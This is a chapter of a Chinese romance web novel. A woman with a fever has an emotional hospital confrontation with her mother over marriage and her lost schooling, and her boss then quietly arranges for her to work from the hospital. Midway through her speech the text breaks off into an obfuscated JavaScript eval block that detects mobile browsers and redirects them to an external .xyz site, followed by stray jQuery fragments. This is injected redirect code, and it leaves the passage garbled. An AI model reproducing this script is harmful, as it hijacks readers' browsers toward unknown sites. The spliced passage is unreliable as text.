这一刻,脸上的灼痛比刚才更烈,像突然炸开,秦莳像被钉在原地,连呼吸都带着滞涩的疼痛。
泪水磨蚀着眼睛观察的敏感度,她不知道此时对方的眼神,但不管是嘲笑,同情,愤怒,悲哀,对她而言都是一样的。
都让她陷入自卑,都让她非常难堪。
几缕头发黏在汗湿的额角,脸颊很烫,想到这狼狈样子被对方看着,羞耻感顺着脊椎爬上来,压着她怎么也直不起来。
也许是看她这样,尹以理默默收回了视线,人也离开了门口,从秦莳视线消失。
但就是这样尊重的行为,秦莳内心的难受也一点没有减少。
她从不对外承认,她是极度敏感的人。
她甚至觉得,尹以理的呼吸都在说讨厌她。
王岚的声音在耳边尖锐响起,声音大到周围的病友都停止聊天来看戏。
“秦莳,你故意的是吧,你几斤几两你不知道,就你这条件,不要挑三拣四的了,都换了多少个了,前前后后多少个你都不满意,你以为你谁啊!”
“我告诉你,你真的快成剩女了,不会真想孤独终老吧,你敢我就没你这个女儿!”
“你不会还在惦记当年大学出国把你甩了的那个?休想……”
“妈!”提起这个人,秦莳反应很大,海豚音的尖叫强行打断了话,“别说了!”
终于,泪水夺眶而出,滚烫的泪水肆无忌惮从眼角滑过,像断了线的珠子,不停地落下,咸涩的味道在嘴角蔓延。
一向情绪稳定的女儿此时却像疯了一般尖叫,像回到了十年前的性子,王岚不由得停下谩骂声,怔怔看着她。
此时秦莳的鼻子很堵塞,眼泪粘在脸上擦都擦不完,但她顾不了这些,压低了声音,鼻音很重。
“他们看不起我。”
“妈妈,他们不喜欢我的学历,瞧不上我的工作。”
自嘲一笑,装作不在意的样子,样子却更令人十分怜惜。
然后,一点一点,掰开自己内心隐藏多年的不满。
“但是我想,要是爸去世后你没逼我强行转去县城照顾爷爷,我留在海都中学,高考不会考砸。”
“如果我考差后家里能托举我,能有钱付得起我的复读费,我也一定能在第二年考到好的学校。”
“如果你没有强行让我报到省内的大学,而是保专业出省读汉语言,我就不会落到被调剂到管理,不会做不了受人尊敬的老师和公职人员。”
“如果这些坏事都没有发生,我想,我现在应该已经结婚了吧。”
或许本想装作平静的诉说,但眼泪却一点一点侵蚀着她的五官,整个人像被泡发了一样。
但这些,都只是她多年压抑的冰山一角而已,是她对这个世界一点点的控诉。
但她居然有些享受这一刻,因为之前王岚会在她崩溃的时候更崩溃,会在她不满的时候更不满,会强行制止她的抱怨,会堵住她情绪的发泄口。
最后,她仍然没有说出拒绝的原因之一是老师对王岚的不满,而只是把她思考了很久的话说了出来,语气里流露出绝望。
“妈妈,我不想结婚,没有人会喜欢我的,就算强行结婚了,大家也都只不过是惺惺作态,无事时万事大吉——只要有了一点点关于利益的纠纷,两个人肯定会立刻翻脸不认人,世界就是这样的,大家都是利己主义者。”
但她看到王岚的模样,惊讶中有防备,瞳孔并没有聚焦,她就知道了。
王岚并没有在后悔对她的指责,她肯定不理解她,甚至连自己的暴躁都没有完全缓解。
最多最多就是想,她的女儿怎么成这种恶毒模样了。
成年人的世界根本没有调整情绪的选择,安静下来后,她能清楚的感受到手机里对工作的催促,一声又一声,她的心脏跟着跳,像痉挛了一般。
她时常以为熬过了死亡的高三就能迎来转机,但不曾想后面的考研,雅思,至今的每天工作,都再也没有了自我的选择。
所以长大的意义到底是什么呢。
但,最后先软下来的仍然是秦莳,她不想在这件事上太耽误时间,于是简单擦了擦眼泪,声音沙哑,哭腔声还很重,匆匆说:“妈妈,一会儿我给您点外卖,晚上我就不回来去出租屋里睡了,我先走了,上班要迟到了。”
但也许是刚刚低头低太久,直起来的时候脖子很痛,舒缓脖子用了些力气,却感到一阵头晕,天花板似乎摇摇欲坠。
强撑着离开了王岚视线,却意外踉跄一下,跌在外面白色塑料等候椅上。
在她找到椅子的支撑点的同时,身旁的手臂也被人小心翼翼的拉住,动作很轻,像担心把她捏碎。
尹以理在背后轻轻叫了声她,秦莳没想到他居然还在,想到刚才他的眼神,她顿时有一种无助感。
她无视了他,别过脸,点开手机,群里的消息就像针一样刺眼。
他们组的方案被否了,客户要求重做,而2组却被表扬,同事们都在加班修改。
最后一点理智彻底被掐灭了。
凭什么,之前明明都谈好了的,现在为什么又要这样!
而尹以理不知情,只是没得到回应,又上前,拦着她,感受到她此时脸色的反常,声音很沉稳:“抱歉,我刚刚不是故意偷听。”
而他的冷静却像为秦莳添了一把柴,她甚至不懂尹以理此刻的脑回路,干脆的手一甩,声音带有很明显的克制。
“没关系,和您无关,对了卡也还给您,我们不要——您快收好吗我脾气不好,一会儿再纠缠下去我担心迁怒您把您刮着了。”
也不管尹以理收没收,秦莳反正三下五除二扔到他身上了,头也不回要走,尹以理却又说:“你烧没退,更烫了。”
秦莳彻底崩溃了,每件事都是一块巨石,将她的薄冰般的内心挤压,心脏被碾碎,似有冰凌刺穿。
和她遇到的所有烦心事相比,区区一个发烧算得了什么!
她不懂尹以理说风凉话的意义,是在挖苦还是嘲笑,不重要,她根本没思考,转头,内心紧握的弦被彻底崩断,音量逐渐抬高,尹以理成了最后的受害者。
“尹总,不重要好吗,可以别耽误我了吗,我真挺忙的,我不能眼睁睁地看着全组的人回去加班,而我视而不见吧,陪您看病的这个理由能堵的住满身怨气的同事的口吗?突然而来的发烧请假能让他们信服吗?”
尹以理表情终于在此刻有了些起伏,震惊地盯着她,秦莳却越说越想哭。
“我必须要去,我不能不合群,我不能被他们压一头,我不能输给他们,我不能把工作拖到明天,这个项目一定得是我们组的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323535|183201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
说到最后,完全是情绪主导,声音撕裂,眼泪如洪水猛兽,变得完全不像平时,被称佛系摆烂,情绪稳定的她。
尹以理呆愣的时候不由得想,原来这一点秦莳一直没变。
对于完美的追求,对于竞争的投入,表现的淡定却实则非常情绪化,以及那份,隐藏在内在的焦虑。
这些全部充斥着她的人生,每一个阶段。
尽管这时对方已经下了逐客令,并且在语气这么强硬的情况下,尹以理却仍然没有动。
半晌,站在原地,无奈,拨通了电话。
一边拨通了电话,一边上前,克制小心地,轻抚了一下她此刻紧绷的肩膀,冒着可能被扇一巴掌的风险。
“冷静点,秦莳。”
这种没有意义的话在平时只会让秦莳更加愤怒,而此时,却听着对方清缓的声音,声音似夜幕下平静的海面,魔法般,她的呼吸很快趋于平静。
手礼貌收回,对面接通,他清冷的声音响起。
“你去把我的电脑,还有秦莳的电脑,拿到第一医院来,高调点。”
在秦莳呆滞的眼神中,他拨通第二通电话。
“策划1组同事在加班吗——哦,医生说我肌肉拉伤,后背粉碎性骨折,但没人照顾,秦莳说必须去加班——嗯她就可以不来了是吧,但她很爱工作,把电脑拿到医院改可以吧,好。”
挂了电话后,一片寂静。
尹以理在短短1分钟之内,解决了困扰秦莳的两大难题:担心被同事说闲话和担心工作做不完。
看到秦莳哭鼻子的样子,像只受了委屈的小兔子,尹以理忍不住勾了勾唇,伸手想替她擦眼泪。
但凉凉的指尖刚碰到她的脸颊,秦莳就惊吓着躲开了,无奈,只能惺惺收回。
“你先好好看病,我帮你改,这下,可以输液了吗。”
后来秦莳拿到电脑,接受治疗的时候,吹着空调凉爽的冷气,思绪一点点恢复到正轨,她开始默默复盘,眼神一直注视着专心看着电脑,的尹以理。
后来,她终于想明白了刚刚为什么能安静的这么快。
因为对方是尹以理,拥有权利和能力,说的话自带沉稳和威严,他的安慰有极其的重量。
并不是一般的,只会讲“宝宝,那怎么办”的说空话的男人。
她不禁叫了他一声:“尹以理——”
对方抬头,她自嘲一笑。
“我真羡慕你。”
说完后她才想起来,这话高中也对他说过。
羡慕他的家世,羡慕他的财富,羡慕他的天赋,这些元素堆砌之下,怎么可能不成功,情绪怎么可能不稳定。
而此刻,秦莳与其说是心动,还不如说是对这些强烈的渴望。
只是,他的一切都不可复制。
她嗓子没好,没注意尹以理的表情,继续说。
“但凡我有你其中一样,我也不会沦落到现在这样很差的地步。”
尹以理眼睛亮了亮,似装了星辰里的碎光。他看着她,像能看穿她的心思。
“秦莳,我记得这句话你以前也说过,但是现在,我想再回答另一个答案——”
声音如窗外的晚风,舒服吹进她心里,尹以理的表情十分认真。
“秦莳,你话还没说完。”